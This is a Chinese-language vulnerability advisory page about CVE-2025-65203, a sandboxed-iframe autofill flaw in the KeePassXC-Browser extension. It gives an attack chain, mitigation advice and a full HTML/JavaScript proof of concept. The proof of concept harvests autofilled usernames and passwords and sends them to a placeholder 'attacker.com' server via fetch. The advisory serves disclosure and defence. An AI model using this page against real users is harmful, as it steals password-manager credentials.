IPBUF安全漏洞报告
English
CVE-2025-65203 CVSS 7.1 高危

CVE-2025-65203 KeePassXC-Browser沙箱环境凭证窃取漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-65203
漏洞类型
凭证窃取/CSP绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
KeePassXC-Browser

相关标签

凭证窃取CSP绕过沙箱逃逸KeePassXCKeePassXC-Browser自动填充iframe密码管理器

漏洞概述

KeePassXC-Browser是KeePassXC密码管理器的浏览器扩展集成组件,负责在网页上自动填充和管理登录凭证。该漏洞存在于KeePassXC-Browser 1.9.9.2及之前版本,攻击者可以通过精心构造的网页,利用浏览器的内容安全策略(CSP)和iframe沙箱属性,诱使KeePassXC-Browser在攻击者控制的沙箱环境中自动填充或提示填充用户存储的凭证。攻击者随后可以通过在沙箱文档中注入的恶意脚本访问这些填充的表单字段,从而窃取用户的登录凭据。此漏洞的CVSS评分为7.1,属于高危漏洞,虽然需要用户交互(点击等)才能触发,但攻击成功后可完全获取用户的敏感凭证信息,对用户账户安全构成严重威胁。

技术细节

该漏洞的核心在于KeePassXC-Browser的自动填充逻辑未能正确识别和处理浏览器强制执行的CSP指令和iframe沙箱属性。具体而言,攻击者构造一个包含多个iframe的页面,其中内层iframe使用sandbox属性创建隔离环境,同时通过CSP指令控制页面行为。KeePassXC-Browser在检测到登录表单时,会自动填充或弹出填充提示,但此时它错误地将凭证填充到了攻击者控制的沙箱iframe中的表单字段内。由于沙箱iframe可以运行攻击者注入的JavaScript代码,该脚本能够访问同源或通过postMessage等方式获取填充后的表单数据,从而实现凭证窃取。攻击者利用的关键点在于:KeePassXC-Browser的自动填充决策仅基于页面中存在登录表单,而未充分验证表单是否处于可信的安全上下文中。这允许攻击者绕过同源策略限制,在看似隔离的沙箱环境中窃取凭证。修复方案需要在自动填充前增加对目标表单所在上下文的安全验证,确保凭证不会被填充到可能存在攻击者控制脚本的环境中。

攻击链分析

STEP 1
步骤1
攻击者搭建钓鱼网站,在页面中嵌入带有sandbox属性的iframe,指向攻击者控制的域名
STEP 2
步骤2
在sandbox.html中放置与真实登录页面相似的表单字段,欺骗KeePassXC-Browser的自动填充检测机制
STEP 3
步骤3
用户在钓鱼页面进行登录操作时,KeePassXC-Browser检测到表单并自动填充或弹出填充提示
STEP 4
步骤4
由于KeePassXC-Browser未正确验证表单上下文的安全性,凭证被填充到攻击者控制的沙箱iframe内的表单中
STEP 5
步骤5
sandbox.html中的恶意JavaScript脚本读取填充后的表单字段值,通过postMessage将凭证发送给父窗口
STEP 6
步骤6
父窗口接收凭证并将其发送到攻击者控制的远程服务器,完成凭证窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-65203 PoC: KeePassXC-Browser Credential Theft via Sandboxed iframe --> <!DOCTYPE html> <html> <head> <title>KeePassXC-Browser CSP Bypass PoC</title> <meta http-equiv="Content-Security-Policy" content="frame-src 'self' https://attacker.com; script-src 'unsafe-inline'"> </head> <body> <h1>Legitimate Login Page (Attacker Controlled)</h1> <form action="https://attacker.com/steal"> <input type="text" name="username" id="user"> <input type="password" name="password" id="pass"> <button type="submit">Login</button> </form> <!-- Attacker-controlled sandboxed iframe with fake login form --> <iframe id="sandboxFrame" src="sandbox.html" sandbox="allow-scripts allow-forms"></iframe> <script> // Listen for credentials from the sandboxed iframe window.addEventListener('message', function(event) { if (event.data.type === 'stolen_creds') { console.log('Stolen credentials:', event.data.credentials); // Send to attacker server fetch('https://attacker.com/log?creds=' + JSON.stringify(event.data.credentials)); } }); </script> </body> </html> <!-- sandbox.html (hosted on attacker.com) --> <!-- <!DOCTYPE html> <html> <head> <title>Embedded Form</title> </head> <body> <form id="fakeLogin"> <input type="text" name="username" id="user"> <input type="password" name="password" id="pass"> <button type="submit">Submit</button> </form> <script> // Wait for KeePassXC-Browser to auto-fill setTimeout(() => { const user = document.getElementById('user').value; const pass = document.getElementById('pass').value; if (user && pass) { // Exfiltrate credentials via postMessage window.parent.postMessage({ type: 'stolen_creds', credentials: { username: user, password: pass } }, '*'); } }, 3000); </script> </body> </html> -->

影响范围

KeePassXC-Browser <= 1.9.9.2

防御指南

临时缓解措施
在浏览器扩展设置中,将自动填充策略改为仅在用户明确点击后填充,或在非可信网站上禁用自动填充功能。同时,保持KeePassXC和KeePassXC-Browser扩展更新到最新版本,密切关官方安全公告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表